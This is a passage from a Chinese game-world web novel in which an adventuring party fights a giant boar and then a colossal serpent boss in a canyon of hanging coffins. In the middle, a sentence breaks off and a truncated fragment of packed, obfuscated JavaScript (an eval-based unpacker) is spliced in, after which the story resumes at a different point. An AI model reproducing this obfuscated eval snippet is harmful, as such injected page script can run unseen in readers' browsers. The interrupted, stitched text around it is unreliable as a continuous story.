野猪攻击的方式主要就是撕咬和冲撞,它们体型巨大、冲刺速度也快,被一头野猪正面冲撞,不亚于面对一辆疾驰而来的汽车。好在它们在这种蛊毒造成的黑暗中也看不清、嗅不到什么,根本没注意到这里还有人,只是一味地埋头猛窜。带头的那只野猪几乎是紧贴着殷炽蹿了出去,奔跑间背上钢针般坚硬的鬃毛根根竖起,带起一阵刀割一样的厉风,刮在手臂上都隐隐作痛。 火把被扔出去后,祝灵正背后的魂灯就成了唯一的一点光源。他借着这点微光,看清了窜过去的那头野猪,轻轻“咦”了一声。 “怎么?”师襄大声问。 先前距离尚远,听得不清楚,现在野猪群奔至面前,蹄爪和岩石坚硬的敲击声响成一片,再加上那别提有多嘶哑难听的嚎叫声,安静的裂谷一时间嘈乱不堪,她只能这样扯着嗓子说话。 “是小野猪!”祝灵正也高声回答她。 师襄闻言,拿出火折子吹亮。野猪没有智商,但偏好逞凶斗勇,见人就怼,她怕引起这狂奔猪群的注意,没敢再点火把,只是用手拢着火折子看了一眼,果然就看到那当先狂奔而去的几头野猪背影都不算太大,确实是小野猪。 但几头小野猪可搞不出来这么大的动静。感受着脚底不断震颤的大地,显然,大野猪还在后面。结合猪群那凄厉的嘶叫声,师襄喊道:“它们是不是在逃跑?” “是吧!”祝灵正也喊,“可能是碧骨王蛇出来吃零食了!” 他们俩一人在最左,一人在最后,被夹在中间的陆厌和卫山河被震得眼冒金星,陆厌便叫道:“你们吼那么大声干什么!耳朵要聋了!” “不好意思啊。”祝灵正立刻信以为真,要和他俩换位置,刚挪了一下便被殷炽按住:“先别动,大的过来了!” 正如他所说,脚下土地震动越发剧烈。这条峡谷本来就是悬崖之间的一条裂隙,都是由大块岩石构成的,如果说之前那几头小野猪跑过时地面在轻微摇晃,那么殷炽话音落下时,整块岩石都已经开始在颤动了,他们站在上面,就好像站在风雨中颠簸不平的一艘小舟上,必须得伸手扶住旁边的岩壁才能站直。 就听见隆隆声伴随着尖利的嘶叫,黑暗之中,一阵混合着土腥味的烈风扑面而来,那风带来的小石子砸在脸上身上,都能划出浅浅血痕。岩壁上的凹陷本来也没多大,殷炽本来还有半个身子露在外面,立刻被卫山河和祝灵正扯住,一个拽一个按,死命地将他拉了回来。五个人挤作一团,下一秒,便看到一头体型巨大的红毛野猪越过他们面前,那速度快得都成了一道残影,紧接着,这头野猪收势不及,竟然直直地撞向了山崖! 那崖边还有悬挂着黑棺的连片木楔,根根浑圆结实,被这头小山一样的红毛野猪一撞,竟然就跟纸片一样被连根撕裂开来,连带着上面绑缚着的三四口棺材,和那头野猪一起,坠下了深不见底的悬崖。 这一切不过是眨眼之间,红毛野猪摔下悬崖时,木楔被拔起时溅起的尘土才刚刚扑到几人脸前。陆厌抹了把脸,感觉自己口鼻里都被灌满了沙土,呸了两声:“这……你这兄弟脾气还挺暴?” 他这句话却是对殷炽说的。 殷炽也是满头满脸的灰土,掸了掸围巾,道:“别胡说,这是你兄弟。” 虽然开着玩笑,但是几人见到那摧枯拉朽的画面后,都是心有余悸,不难想象,这红毛野猪要是撞到了人身上,恐怕也是筋骨尽折的下场。 还没等他们缓口气,又是几头巨大的野猪蹿了过来,那气势惊天动地,殷炽和陆厌二话不说,当即闭嘴,死命地往岩缝里挤。 卫山河被他们挤得死死贴在山壁上,脸都要挤变形了,形象全无、洁癖发作,口齿不清地暴怒道:“别挤噜!” “忍忍吧。”师襄道,作为这一队唯一的姑娘,几人贴心地给她留出了一小片空隙,饶是如此,她也不得不把背后的琴取下来紧紧抱在怀中,“……我怎么觉得,这些野猪似乎在反复奔跑?” “是吗?” 陆厌艰难地腾出一只手来,把祝灵正背后的魂灯抽出来递给站在最前面的殷炽,“你看看?” 殷炽接了灯,在烈烈劲风中艰难辨认了一会儿,点点头:“没错,它们在这条山道上来回跑动,但先前那几头小的是跑没影了。” “这是在进行葱鸡!”卫山河说,“前面似不似和蛇打起来了?” “有道理,小的逃跑,大的留下战斗。”陆厌道,话音未落,几人忽然齐齐感到一阵劲风扑面而来,电光石火之间立刻分外默契地各自腾身四散而去,祝灵正的魂灯还在殷炽手里,殷炽甩出钩索钉死进头顶的岩壁,单手拉住他就跃了起来。 下一秒,只听见一声巨大的闷响,一头红毛野猪一头撞上了他们先前容身的那个凹陷处,顿时翻倒在地,獠牙尽折、血肉横飞。那坚硬的岩石在这股巨力的冲击下都迸裂开来,断裂处淅淅沥沥地淌落着血肉混合的泥。 要不是躲得及时,被撞上这么一下,只怕是得当场殒命。 这头红毛野猪撞上岩壁后,那大地的震颤感就小了许多,看起来,野猪群的数量已经所剩无几,只有极遥远的地方,还时不时地响起凄厉的嘶鸣声。 青霄飞羽结束,师襄落地,踩在血泊里,紧皱眉头。 “这些野猪莫不是疯了?” “它们应当也看不见路。”卫山河从头顶的岩块上跳下来,总算能正常说话了,“野猪就是这样的,一急起来就什么都不管不顾了,一腔暴脾气,见什么都要怼。” “猪还是太白山的好。”陆厌唏嘘道,一抬头,发现殷炽和祝灵正还攀在山岩上,“你俩干什么呢?” 两人都没回他的话,祝灵正问殷炽:“你也看到了?” 殷炽点点头。 “看到什么?”师襄问。 “猪蛇大战。”殷炽跳了下来,言简意赅,“巨型白毛野猪大战碧骨王蛇。那条蛇的眼睛跟车灯一样,很显眼。” 正如殷炽所言,碧骨王蛇的眼睛的确跟车灯一样,不止是亮度,还有大小。 野猪群死得死、跑得跑,已经散得差不多了,几人继续前行,远远地,便在黑暗之中看到了那碧骨王蛇的眼睛。 那是一对血红的眼睛,在漆黑之中宛如两盏巨大的红灯笼,瞳孔收缩如一条窄线,看着就有一种非常不祥的意味。 “这是卡车车灯吧。”陆厌道。 碧骨王蛇的体型比他们想象中的还要大一圈,完全看不到它的身子,只有一颗三角形的头颅低低地垂着,上面满是突起的灰色刺鳞,狰狞可怖。那两只巨大的眼睛似乎会发光一样,能清楚地映出面前的事物,就看到在这硕大的蛇头面前,另一个巨大的阴影正伏低在地、高高地拱起小山一样的背脊,似乎随时要发起冲击,正是另一个boss,巨型白毛野猪。 师襄以前看小说,看到《西游记》里描述妖怪,讲到它们的原身,动辄便是百千万丈高,遮天蔽日、横跨山泽,连体型比较正常一点的猪八戒,也是“碓嘴初长三尺零,獠牙觜出赛银钉”,光一张嘴就三尺,身高起码也该在三米以上。而眼前这头巨型白毛野猪,看上去似乎比书中的二师兄还要更高大一些,这样一头野猪,也只是和碧骨王蛇的蛇头差不多大,难以想象它隐藏在黑暗之中的蛇躯到底有多长。 眼前,这两个boss正陷入了僵持状态,空气中弥漫着隐约的血腥味道。五人趁双方对峙时悄悄接近,藏身在离它们不远的一块巨岩之后,刚站定,便看到那碧骨王蛇的竖瞳缓缓转动,蛇头也微微转向这边,似乎察觉到了异常。 被体型这么大的巨兽注视着,是很有心理压力的,好像自己忽然变得如蝼蚁般渺小。好在那巨型白毛野猪却是没这么敏感,察觉到碧骨王蛇分神,立刻嘶叫一声,双足刨地,露出两根白森森的锋利獠牙,朝它的头颅撞去! 碧骨王蛇虽然看着他们这一边,但大概也在留意着巨型白毛野猪的动作,反应极其迅猛,立即高高昂起蛇头躲过了这一击。巨型白毛野猪一头撞在蛇身上,獠牙与青黑色的鳞甲相撞,发出令人牙酸的铿锵声,好像金属撞击,甚至有种要火星四溅的感觉了。 甫一相撞,巨型白毛野猪立刻开始用尖利的獠牙撕扯蛇身,但碧骨王蛇的鳞片瞬间片片闭合,宛如形成一套密不透风的铠甲,任凭巨型白毛野猪如何撕咬,都无济于事。而巨型白毛野猪背上的鬃毛也根根竖立,看着像刀山一样,碧骨王蛇几次回转蛇首张嘴欲咬,最终都放弃了。 亲眼看见两个巨兽在咫尺间凶猛对峙,那感觉还是挺刺激的,师襄紧皱眉头,不禁开始思索,唐催寒究竟是用什么方法才取到了碧骨王蛇的血。 想来先前它大概也是因为受伤,才在黑暗中悄无声息地游走、捕捉猎物,而现在,在接连袭击了玩家、猴子和野猪群之后,这条碧骨王蛇显然恢复了不少,不再如唐催寒所说的那样,处于“虚弱”的状态了。 她还在这边想着,就看见陆厌和祝灵正在分着什么。他们还要把手里的东西分给卫山河和殷炽,卫山河摇手拒绝,殷炽沉默了一会儿,伸手接了。 师襄仔细一看,竟然是一把葵花籽。 “很精彩。”陆厌边嗑瓜子边点评,“像看特摄电影一样,立体环绕裸眼全息。” 师襄面无表情道:“如果你不是我队友,我会直接把你平沙进蛇肚子。” 祝灵正手里的瓜子刚剥了一半,顿时不香了,默默地又揣了起来。 “不要急。”陆厌摆摆手道,“现在这种情况,就好像龙门里大哥队和二哥队打起来了,像我们这种后来的,必须得沉得住气,关键时刻上去劝架才能恰到鸡。” “……你还有带躺鸡的业务啊。”卫山河说。 “前五1500不进免费,价格很公道。”陆厌道,看见师襄的手放在琴弦上,赶紧在嘴边比划了个拉拉链的动作,收了声。 “但巨型白毛野猪不是碧骨王蛇的对手。”殷炽说,他还一直紧紧地盯着那两个boss的动向,“每次冲撞,都在极大地消耗它的体力,这么一来,体力耗尽,它自然就会输了。” 师襄颔首:“根据我们之前的推测,碧骨王蛇应该就是这条山谷中食物链的顶端。巨型白毛野猪之所以和它打起来,大概也是它为了补充状态、大肆袭击了野猪族群,为了保护族群才迫不得已交战的。” “如果我们把它们都打死的话,能摸双份掉落么?”祝灵正问。 “可以试试。”师襄道。她看着巨型白毛野猪又一次发起冲撞,这次是撞到了另一侧的山壁,顿时山石崩塌、尘土飞溅,脚下的地面也跟着一阵剧烈晃动,几人赶紧伏低身体,稳住重心。 不过Boss确实是比小怪强很多,巨型白毛野猪只是甩了甩脑袋,立刻又调整好姿势跳了起来,准备下一次的进攻。 野猪这种生物据说能够免疫很多自然界中的毒素,也包括蛇毒,而巨型白毛野猪一身钢针一样的鬃毛,吞也不好吞,碧骨王蛇似乎一时间还真拿它没办法。 但不知道是不是错觉,师襄总觉得碧骨王蛇鲜红的竖瞳里有一丝冷冷的嘲讽。 虽然并没有完全占到上风,但它好像在居高临下地俯视着巨型白毛野猪,那种感觉,就好像上位者看着下位者,带着一种漫不经心的鄙夷和傲慢。 这种感觉让师襄有些警惕,这条蛇,很可能拥有不亚于人类的智慧。 还没等她更仔细地观察,碧骨王蛇又动了,这次是主动出击。只见它高昂起头,大张开嘴,露出森白的毒牙和猩红蛇信,快如闪电,凌空朝巨型白毛野猪咬了下去。 那巨型白毛野猪似乎脑袋里就没有退让这根弦,面对张大到极致的蛇嘴,反而怒嘶几声,竖起背上鬃毛,直直地撞向碧骨王蛇。然而,眼看它们要相撞的一瞬间,那碧骨王蛇忽然猛地一甩脑袋,躲过撞击的同时,头侧突起的刺状角鳞也狠狠地撞上了收不住脚的巨型白毛野猪。 一条如此硕大的巨蟒,全力甩动脑袋的力气是难以估量的,只听“砰”的一声闷响,巨型白毛野猪竟然被碧骨王蛇顶翻在地。然而,碧骨王蛇却并没有抓住这个机会再行进攻,而是游走到巨型白毛野猪的身后,抬起身子,似乎是挑衅一般。 它现在的位置,恰好就在师襄等五人藏身的巨岩之前,游走时身上的青灰鳞甲时而竖立、时而伏平,连坚硬的岩石上都被划出了几道灰白的痕迹,却正是与他们之前追踪的那些痕迹如出一辙。 随着碧骨王蛇接近,几人都闻到了它身上散发出来的危险的腥臭味,暗自屏住呼吸。这条蛇即使游走到了这里,剩下的身子依旧隐藏在裂谷深不见底的黑暗之中,体型之庞大,已经远远超出了他们的预期。 在蛇瞳散发出来的幽幽红光之中,那巨型白毛野猪从地上翻身跳起来,发出一阵狂暴的嘶哑吼叫,身形竟然暴涨起来,比之前看起来大了一倍有余,那种压迫感,真的像一座横在面前的小山了。 队友看得一愣,陆厌却心里清楚,这怕是有了狂心buff了。在浪客行中,野猪有这个buff的时候,攻击力会更加强大,但只有血线被压到30%左右的时候,才会触发狂心。他有心想告知队友,奈何碧骨王蛇离他们太近了,虽然蛇这种生物的听力很一般,但这条蛇身上处处透着诡异,他也不敢冒险,想了想,对离他最近的祝灵正捂住心口,作张牙舞爪状。 张牙舞爪=狂,捂住心口=心,结合起来就是狂心,祝灵正也是PVE的一把好手,想来可以理解。 祝灵正回头看陆厌,瞳孔骤缩,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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看到它还活着,碧骨王蛇却并没有立即发动攻击,鲜红的瞳孔缓缓收缩成一条极窄的竖线,冷冷地盯着它看了一会儿,忽然转头,游向了裂谷的深处,似乎对巨型白毛野猪失去了兴趣。 在它身后,尘埃落定,巨型白毛野猪身前,缓慢浮现出一圈淡淡的蓝色光晕。 清晖化生势,一剑镇山河! 断裂的岩石同样砸中了巨型白毛野猪,它摇晃着脑袋站了起来,两根锋利的獠牙,已经有一根被拦腰折断了,嘴里也往外渗着血,但目光中仍然凶性不减。 碧骨王蛇离开后,峡谷中重新暗了下来。它用两只前腿又重又狠地刨着一片狼藉的地面,在烟尘中左右打量,最终锁定了前方隐隐约约的蓝色光晕,喷着粗气,抖了抖背上钢刀一样的鬃毛。 哗啦啦—— 细小的砂砾和土块被它从背上甩了下去,巨型白毛野猪仰天嘶叫两声,看着灰尘弥漫处影影绰绰的人影,伏低身子,就要再次撞过去。就在这时,幽光乍闪,陆厌的身影如鬼魅般从巨型白毛野猪的身后浮现,弯刀自半空划过一道圆如满月的弧线,狠厉而精准地劈了下去! 阴阳往极的刀身薄得像一片羽毛,但就是这样看起来薄而轻盈的暗色刀刃,在一连串的铮铮撞击声中破开了野猪坚硬的鬃毛,直直地砍入了它的背脊! 巨型白毛野猪吃痛,疯狂甩动身体,将嵌进脊背的刀刃甩了出去。它的体型过于庞大,陆厌也没有和它硬碰硬的意思,在刀刃被甩出去时便翻身收势,再度消失在了黑暗之中。取而代之的,是伴随着破空之声飞快刺来的一道锁链,精准地扎进了巨型白毛野猪背上那道深而长的伤口,殷炽左手持链,右手锋刃凌空挥出,顿时鲜血飞溅! 两个人都是一击即退,毫不恋战,得手之后立刻抽刀后撤。巨型白毛野猪受此重创,理智全无,后背伤口鲜血哗哗涌流,它像完全感觉不到似的,朝着殷炽后退的方向便凶猛地冲撞过去,一路带起砂石尘土飞溅,声势可怖。 然而,还没等它撞过去,动作就忽然慢了一拍,殷炽抓住这一瞬的间隙,链刃化作钩索向头顶的岩壁掷出,人也随着钩索跃起,脱出了战局。斜后方,师襄一手扶琴,一手拨弦,琴声铮铮如金石相激,杀意森然,像无形之剑一样,道道冲着巨型白毛野猪而去。 巨型白毛野猪察觉攻击,再次掉头朝师襄冲去,面对气势汹汹的进攻,师襄却不慌不忙,一拨琴弦,刹那间整个人已经换了位置,出现在了另一边。这野猪几次遭人戏耍,愤怒更甚,立刻掉头奔突过去,师襄再一抚弦,又吞掉一个影子,诱使着巨型白毛野猪快速向她所在之处冲来。 十尺、五尺、一尺—— 瑰丽的星光忽然大盛,伴随着爆裂般的炸响,一瞬间照亮了这一小片山崖! 从镇山河结束时,祝灵正便已经开始起卦摆灯。先前那巨岩处多有碎石阻挡,很难让三盏魂灯形成连局,他便在队友的配合下将魂灯摆在了较为平坦的地方,其他人随即轮流接仇,再由师襄将巨型白毛野猪带入连局。 最后,当它踏入连局的一刹,鬼星开穴! 巨型白毛野猪被同时引爆的灯魂炸了个正着,发出一阵震耳欲聋的痛嘶声。它本来在和碧骨王蛇的争斗中就落于下风,已经是强弩之末,此刻再也支撑不住庞大的身躯,轰然倒地。 这还不是结束。卫山河反手持剑,脚下踏八卦方印,紫气开两仪现,剑光如雨,连绵不绝,向已经无力挣扎起身的巨型白毛野猪倾斜而去! 再不给它任何喘息的机会,链刃破空而来,直向头颅劈进,而陆厌的身影也再次闪现,赤日轮三段连击,刀锋仿佛挟带着熊熊灼目烈火,深深嵌进了巨型白毛野猪粗硕的脖颈。他双臂灌注力气,用力压下刀刃的同时,殷炽变刀为链,一记铁马冰河,配合着陆厌将巨型白毛野猪的脖颈瞬时斩断,那沉重而硕大的头颅伴随着喷涌而出的鲜血,被链刃远远地甩向了另外一边,重重地砸在地上。 小山一般的身躯下浮现出了金色的光晕,掉落都出来了,这只巨型白毛野猪已经是死得不能再死了。师襄走过去伸手一探,点了点头:“玉签。” 陆厌收刀,擦了擦溅到脸上的一点鲜血:“这猪还真是好大只啊,应该能煮好几锅吧。” “要带回去给金大厨么?”祝灵正闻言便问。 “这里的空气都有毒,算了吧。”卫山河道。 “那碧骨王蛇大概是想让我们先斗个两败俱伤吧。”师襄看了眼巨型白毛野猪无头的身躯,冷笑一声,“有点小聪明,但不多,已经在人类手里吃过一次亏了,还不长记性。” 殷炽道:“那走吧。别让它缓过来了。” 如果不是微微急促的呼吸和落满灰尘沙土的衣服,不去看他们身上溅上的鲜血,恐怕任谁也想不出,这是一支刚刚完成了战斗的队伍。 这就是他们在前三天内形成的一种堪称可怕的默契,无言的配合、举重若轻的战术,都已经是这只队伍的常态。没人觉得战胜血线已经被压到30%以下的巨型白毛野猪是一件需要特别注意的事情,甚至摸完掉落之后,除了还在思考它究竟能炖几锅的祝灵正,就再没有人回头看它一眼了。 趁战意旺盛,向碧骨王蛇所在之地前进——不需要说明,这已经是他们的共识。 27. 第四天·悬棺裂谷(二十七) 悬棺裂谷的地形,宛如一条幽长深邃的管道,越向内走,凄厉怪异的风声就越发清晰起来。 也许是空气的流动带走了裂谷中悬浮的蛊毒,一路走来,众人都感觉出来,这里显然没有刚进入峡谷时那么黑了。如果说站在峡口,看到的是午夜一般纯粹的、一丝反光都没有的黑暗,那么此时的黑度,大概就像凌晨三四点钟,月亮早已西沉、太阳也将要升起的时候,虽然仍是漆黑一片,但仔细凝神,还是可以看到黑暗中影影绰绰的轮廓。 正因如此,他们也没费多大力气,便看到了唐催寒所说的,碧骨王蛇栖身的那根柱子。 不过,唐催寒对他们说的是碧骨王蛇在“下面一层峡谷的最深处,盘绕在一根石柱上”,但实际上,这根石柱和碧骨王蛇,大概都在峡谷的最底层,石柱顶端只是差不多和他们所在的这一层齐平而已。 那实在是一副很震撼的场景——巨大的石柱从深渊之中拔地而起,而巨蛇盘绕其上,真正能看到的,只是它的部分身体和头颅。周围数不清的、密密麻麻的棺材,相比之下有如虫群,而巨蛇将头颅放在山岩上,一动不动。 站在这样的景象面前,有一种进入了远古神话一样的时空错位感,如果让有巨物恐惧症的人来到这里,可能连拔腿逃走的勇气都生不出来。 即使好莱坞队作为现代玩家已经算见多识广、各种怪兽和机甲特摄也看了不少,面对这种情景,还是忍不住要怔愣一下。原来他们先前所见到的碧骨王蛇,只是它身躯中很短的一部分,而这条蛇的真正全貌—— “好长。”祝灵正说。 简单的两个字,足以概括大家的共同心声。 眼下,这条碧骨王蛇的头颅朝山崖边放着,呼吸时发出哧哧的轻响,频率非常安定,猩红的眼睛连转都不转一下,似乎根本没有看到这五个不速之客。 “我记得,蛇这种生物和鱼一样没有眼睑,一直都是睁着眼的。”殷炽道,“它可能在睡觉。” “刚才还在和野猪大战,现在就回家睡觉?”陆厌笑道,“这也太看不起我们了吧。” 卫山河说:“倒也不是,之前唐催寒不是说过,它也在虚弱状态么。也许本来就没恢复好,和巨型白毛野猪一战之后,又损伤了元气,所以立刻回来休息了。” 师襄颔首:“倒也不是没有这种可能。” 她仔细看着那碧骨王蛇,它的眼睛确实是一眨也不眨的,竖瞳没什么焦点,也不知道在看哪里,似乎睡得酣沉。再一抬头,师襄又注意到那石柱顶端,似乎另有玄机。 “你们看那石柱上面。”师襄道,拿出火折子点亮火把,特地观察了一下那蛇的反应。对于在头颅不远处突然燃起的火焰,碧骨王蛇也丝毫没有反应,看来是真的睡着了。 她拂了一下琴弦,朝队友使了个眼色,不再去理会碧骨王蛇,而是将火把举高,照亮石柱的顶端,便看到在碧骨王蛇盘绕着石柱的身躯上有块地方竟然被拔掉了鳞甲,而有一根巨大的长钉便透过那里,钉穿了它的身子,将它连同石柱锁在一起。 这根长钉材质奇异,像是用骨头做出来的,一看就知道是天一教的手笔。它钉在那里似乎有段时日了,碧骨王蛇被穿透的血肉时常与这骨钉摩擦,都已经生出了厚厚一层白茧,显然已经适应了这长钉的存在。 看来,它虽然能在这峡谷中活动,但尾端始终是被钉死在石柱上的,没法彻底离开。 “你们觉得,天一教,像不像在搞什么自然崇拜?”师襄思索了一会儿,忽然道,随后又摇摇头,否定了自己,“也不是。倒不如说,他们在试图造出一个让人感到崇拜的‘神灵’。” “怎么说?”陆厌问。 “这张图的背景不是天一教和南诏乌蛮勾结么?”师襄说,“好像按照西南文化会比较相信这个,南诏国也有用动物作战的先例。我算算……从南诏之乱被平复到现在这个时间线得有二十年了,说不定这些都是当时趁乱逃难过来的残兵败将,躲藏在峡谷之中,只待有朝一日重见天日。当然,这只是无聊的猜测而已。” 她转头问殷炽:“看清楚了么?” 殷炽点点头。 “好,那就准备动手。”师襄道。 听到这句话,几人都各自散开,只有师襄一个人还举着火把站在崖边。 她背对着蛇头,似乎已经完全放下了戒备。便是在这个时候,那碧骨王蛇的竖瞳极其轻微地缩紧了一下,忽然暴起,张大嘴凌空就向师襄咬来! 师襄反应也是极快,察觉到身后一阵腥风便是一惊,立刻回身,但她站在崖边,本就避无可避,只来得及一抬手,便被碧骨王蛇咬住,两根毒牙顿时穿透了她的肩膀,随即被抛向半空,一口吞下! 那碧骨王蛇假寐得逞,高扬起头来,居高临下地看着其余众人,猩红眼睛中带着一丝残忍的傲慢和狡黠。然而和它想象中不同的是,余下的人类并没有惊慌失措、四处乱跑,他们的反应,甚至可以称得上平淡。 它本来咬住了师襄便立刻将她吞了,现在喉中却忽然一空,那个人竟凭空从嘴中消失了。碧骨王蛇虽然有智慧,但终究不是人类,还没明白发生了什么,半空中厉风一闪,殷炽的链刃已经朝它的七寸狠狠斩下! 所谓蛇的七寸,指的其实是心脏部位,介于蛇头与蛇腹之间,微微突出,对于盘在石柱上的碧骨王蛇来说,十分显眼。先前师襄举高火把时对殷炽说的“看清楚了么”,其实问的就是他有没有看到碧骨王蛇的七寸位置。 不过,碧骨王蛇的体型过于庞大,它的心脏部位离脑袋有很长一段距离,盘在石柱上,远在悬崖之外。为了砍到它,殷炽是先跳上了垂在半空中的悬棺群,然后踩着那些黑棺快速靠近石柱,直到碧骨王蛇暴起之时,才找到机会,一跃而下! 这一刀气势如虹,然而,眼看断水刃就要砍到碧骨王蛇的七寸,它心脏周围的鳞甲忽然像蚌壳一样片片竖立闭合了起来。 这些鳞甲锋利如刀,闭合后竟然分毫不差地将刀锋死死地夹在了中间,殷炽再度用力,刀刃却被鳞甲抵住,再不能向前推进。眼看要落下悬崖,殷炽立刻变刃为链,冲云链唰的一声延伸开来,他借由下坠的冲势在半空中扯住链子翻身而起,落在了碧骨王蛇的身上。 与此同时,面前的光线微微一扭曲,陆厌已经施展幻光步跟着跳了上来,两柄弯刀朝竖起的鳞甲重重劈下,铿锵的撞击声顿时不绝于耳。 那鳞甲坚固非常,被这样一劈,竟然毫发无伤,陆厌顺势翻手并刀,将刀锋顺着鳞甲闭合的缝隙用力插下,双臂灌注力气,断喝一声:“开!” 阴阳往极生生撬开了鳞甲,链刃瞬间收回,被殷炽接住,提在手中。 两个人一前一后蹲伏在悬空的蛇身上,殷炽回过头和陆厌对视了一眼,摇了摇头。 和强弩之末的巨型白毛野猪不同,碧骨王蛇的防御更加全面,它的鳞甲坚硬无匹,还能随攻击而闭合或展开,强攻恐怕很难起效。 身上载了两个人,碧骨王蛇并非感觉不到,但相比之下,它还是更急于对付山崖边的三人。 剑体解除,师襄回归本体,立即下好了影子。几乎是在她传送过去的同时,碧骨王蛇便朝她原来所在的位置猛地撞了过去,随着一阵巨大的震颤,烟尘弥漫之中,那山崖顿时塌陷了一块,无数土石哗啦啦地顺着崖壁滚落下去,落入了深渊。 碧骨王蛇活动起来动作幅度极大,还在它背上的殷炽和陆厌双双一个趔趄,差点被甩飞出去。不过那受到攻击就会自动闭合的鳞甲却是阴差阳错地帮了他们一个大忙,二人将刀刃往里一插,反而有了固定身体的锚点,虽然东摇西晃,但好歹是不用担心摔落了。 一击未中,碧骨王蛇已经高昂起脑袋,四处寻找师襄的身影,只待烟尘散尽,就准备发动下一次攻击。便见那飞扬的尘土缓缓落下,忽然,飞沙之中蓝光一闪,数柄飞剑已经破尘而出,以迅雷不及掩耳之势朝碧骨王蛇飞射过去! 这些飞剑迅若紫电,来势凶猛,且目标极其精准——正是碧骨王蛇那巨大而猩红的眼睛。 它的眼睛没有坚硬的鳞甲保护,恐怕是头颅上最脆弱的部位了,如果要寻找一个突破点的话,显然就是这里! 碧骨王蛇确实是有着智慧的,它仿佛也知道眼睛是自己的弱点,立刻甩过头,用头上突起的角刺挡住了飞剑,同时张大了嘴,露出白森森两颗利齿。 卫山河反应也是迅速,看到它张嘴,立刻停下读条抽身后退,寻了块山岩遮挡自己。果然,下一秒便听到“嗤”的一声轻响,碧骨王蛇喉头一缩,竟然从两颗毒牙中直直地喷出毒液来。 陆厌的位置看得清楚,那毒液溅射到山岩上,顿时腾起一阵白雾,白雾散去后,山岩上攀生的地衣苔藓都被腐蚀得一干二净,显然毒性极强。 但这个机会,也是他们一直在等待的! 碧骨王蛇甩过头喷射毒液的动作,恰恰暴露出了它的第二个弱点,那就是没有坚硬鳞甲披覆的腹部! 几乎是毒液喷出的瞬间,祝灵正已经起卦,只见他身前紫光一闪,天斗旋正中蛇身,火离术咒更是如烈焰般不停灼烧着碧骨王蛇柔软的腹部。也是在这一瞬间,师襄的琴风和卫山河的飞剑二次袭来,三个人的攻击无比默契,全部打在一处! 就见那碧骨王蛇受痛,疯狂地翻滚起来,又碍于身体后半被钉在石柱上,只能甩动半身,那坚硬的身躯不断击打在峡谷山壁上。 一时间,峡谷间乱流四起、地动山摇,漫天砂石激扬,山体崩裂的声音如同闷雷阵阵,那吊在悬崖上的黑棺也纷纷坠下深渊。 站在山崖边的三人倒是早有准备,毕竟是三个远程,攻击发出的一刻就已经纷纷后撤,此刻已经顺着崖壁往上攀了好一段距离了,师襄飞快地拨动琴弦下了笑傲光阴减伤,虽然如此,还是不断有砂石飞溅过来,打在脸上手上,都是火辣辣的几道血痕。 他们尚且如此,殷炽和陆厌两个近战就有些倒霉了,挂在碧骨王蛇身上,随着它疯狂的动作甩来甩去、头昏脑胀,所谓天旋地转,莫过于此。但越是这时候越不能松手,一旦松手,可能就被山间的乱流卷去、拍在崖壁上,粉身碎骨了。 好在他们都是沉得住气的性子,越是紧急关头,越临危不乱,硬生生靠着臂力稳住了身体,紧紧攀附在碧骨王蛇的背上,利用它的鳞甲躲过那些劈头盖脸砸下来的沙石。 劲风重压,呼吸都有些困难。殷炽单臂抬到面前护住头脸,回过头去,想看看陆厌的情况,便看见斜后方又是微光一闪,陆厌竟然收了刀,在这种情况下再次用出了幻光步! 只见他身形一动,一瞬之间,人就已经在数十尺以外的地方了,明教轻功,实在是来去无影、形如鬼魅。但幻光步再精妙,疯狂翻滚的蛇背上哪里站得住?几乎刚一落脚,陆厌便被甩下了蛇背,被峡谷间的乱流卷着朝后倒飞起来。 冲云链再次抽出,瞬间就延展了十数米,殷炽单手抓住链子,也被乱流卷起来,一把薅住了翻到他身边的陆厌,两个人的体重顿时盖过了乱突乱冲的气流,链子绷直,二人摔落下去,吊在半空,像坐飞椅一样摇摇晃晃起来。 陆厌也抓住了链条,待碧骨王蛇翻滚的幅度小了些之后,二人开始慢慢朝上爬去。 “你找到了?”翻上蛇背,殷炽松了口气,看陆厌背上双刀只剩一把,便问。 “嗯。”方才如此惊险,陆厌的额上背上也起了层冷汗,但竟然还笑得出来,“就在我刀插的那个位置。搭把手。” 殷炽抓紧他,便看他腾出手来,从背包里翻出那只还没烧完的犀牛角,点燃了高举起来。 犀照一明,周围的黑暗顿时被迅速吞噬殆尽,露出了一片亮色。 在摇摇欲坠的山壁间躲避毒液喷射的三个人,远远就看到了这一点亮色,又见那明亮的一点被左右来回晃动,那是他们之前便约好的信号,意思是“找到了”。 看到这一幕,三人心下就是松了口气。 他们在“找”的,就是真正的击破点,能够将碧骨王蛇斩杀的那个破绽。 既不是七寸,也不是眼睛,也不是腹部。 而是在碧骨王蛇翻滚间无意中暴露出来的、它一直在有意遮掩的那个地方—— 那便是唐催寒留下的伤口! 从始至终,他们的目的,就是这个让它维持在虚弱状态、不得不潜行捕猎并和野猪群大战一场的伤口。所谓打蛇打七寸,这个“七寸”,在此时,就是碧骨王蛇这处致命的弱点! 持续伤害结束,碧骨王蛇渐渐停止了翻滚。 吃了这样一个大亏,它猩红的竖瞳越发怨毒,缓缓地伏低身体,吐出蛇信,来回逡巡,寻找三人的身影。 蛇的视力其实一般,寻找猎物主要靠热感应,找到师襄几人只是时间问题。这条碧骨王蛇更是吃一堑、长一智,师襄再度放出影子吸引它的注意,它却谨慎了不少,不再轻易靠近山崖,而是只喷出毒液进行试探。 方才大闹一场,半边山道坍塌殆尽,留给三人躲藏的位置已经不多了,现在才是真的分秒必争。殷炽和陆厌在碧骨王蛇背上疾奔,犀照越燃越短,在空中留下一道明亮的痕迹。 在靠近石柱处,殷炽看到了那个伤口。 他的第一想法竟然是,田螺确实是一个很适合浪客行的心法。 伤口位于碧骨王蛇身侧,腹部和背部的交接处,正是没有鳞甲保护的地方。虽然这么说有些夸张,但这伤口看起来确实和被高射炮轰击了差不多,在蛇身上如同一个大洞,直径几乎有成人两臂长,周围的皮肉都已经溃烂发紫,无怪乎碧骨王蛇会陷入虚弱的状态。 现在,这伤口已经在慢慢愈合,结出一层乳白色的茧来,陆厌的一把弯刀就插在里面。 